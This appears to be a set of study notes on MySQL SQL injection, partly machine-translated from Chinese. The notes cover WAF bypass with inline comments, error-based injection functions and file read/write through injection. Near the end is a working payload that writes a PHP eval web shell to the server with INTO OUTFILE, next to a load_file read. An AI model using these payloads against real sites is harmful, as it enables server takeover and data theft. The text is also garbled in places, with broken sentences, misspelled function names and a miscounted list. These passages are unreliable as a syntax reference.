SQL Injection Notes

SQL Comment

Single-line Comment #后面直接加内容

--You must add a space behind

Multi-line Comment/**/Middle can span rows

--+ will delete

The inline annotations are:

MySQL database in order to maintain compatibility with other databases, specifically added features. To avoid SQL statements exported from MySQL that cannot be used by other databases, it puts some MySQL-specific statements in the/*! ... * * These statements are not executed when used in incompatible databases.  and MySQL itself can recognize and execute.  /*50001 * * Indicates that the intermediate statement will be executed when the database version is >=5.00.01. In SQL injection, inline annotations are commonly used to bypass WAF.

/*!12345user () */

The user to which the server-side connection database is used.

MySQL can be 16 binary recognition

execute(‘sql语句‘)  //execute函数中可以写sql语句，且为字符串，那么就可以传入一些变形字符串来绕过waf
union select 1,2,3 只显示一个2 说明只用到了这个字段

Some common MySQL functions/statements in SQL injection:

User () Current users

Database () Current databases

Current_User () Current user name (for viewing permissions)

Versions of version () databases

@ @datadir The path to the database

Load_file () Read file operation

into outfile ()/into dumpfile write file operation

SQL注入读写文件的根本条件： 

1. Database allows import and export (Secure_file_priv)

2. Current User user file operation permissions (FILE_PRIV)

#查看数据库是否开启导入导出

Show variables like "Secure_file_priv";

#查看当前数据库用户

Select Current_User ();

#查看当前用户是否具有文件读写权限

Select File_priv from Mysql.user where user= ' root ' and host= ' localhost ';

String Join function

Concat (STR1,STR2) function Direct connection

The Group_concat (STR1,STR2) function uses commas as separators

The CONCAT_WS (SEP,STR1,STR2) function uses the first argument as a delimiter

Error-based injection:

1.updatexml function

2.xpath form

15 Types of error functions:

Floor () Multipolygon ()

Updatexml () linestring ()

Extractvalue () St_latfromgeohash ()

exp () St_longfromgeohash ()

GeometryCollection () Gtid_subset ()

Polygon () Gtid_subtract ()

Mutipoint () St_pointfromgenhash ()

Multionlinestring ()

SQL injection Read file:

Write the file. The URL ‘)) union select 1,‘2‘,‘<?php @eval($_POST[a]);?>‘ into outfile ‘c:/www/2.php‘%23 is wrong, but it was written in.

Read the file. ‘)) union select 1,2,load_file("C:/WWW/2.php") into outfile ‘C:/WWW/3.php‘%23Although the URL is incorrect, it can still be read.

　　　　　　file://c:/boot.ini

　　No error, but the page is not normal, can be judged to be bool type injection

SQL Injection Notes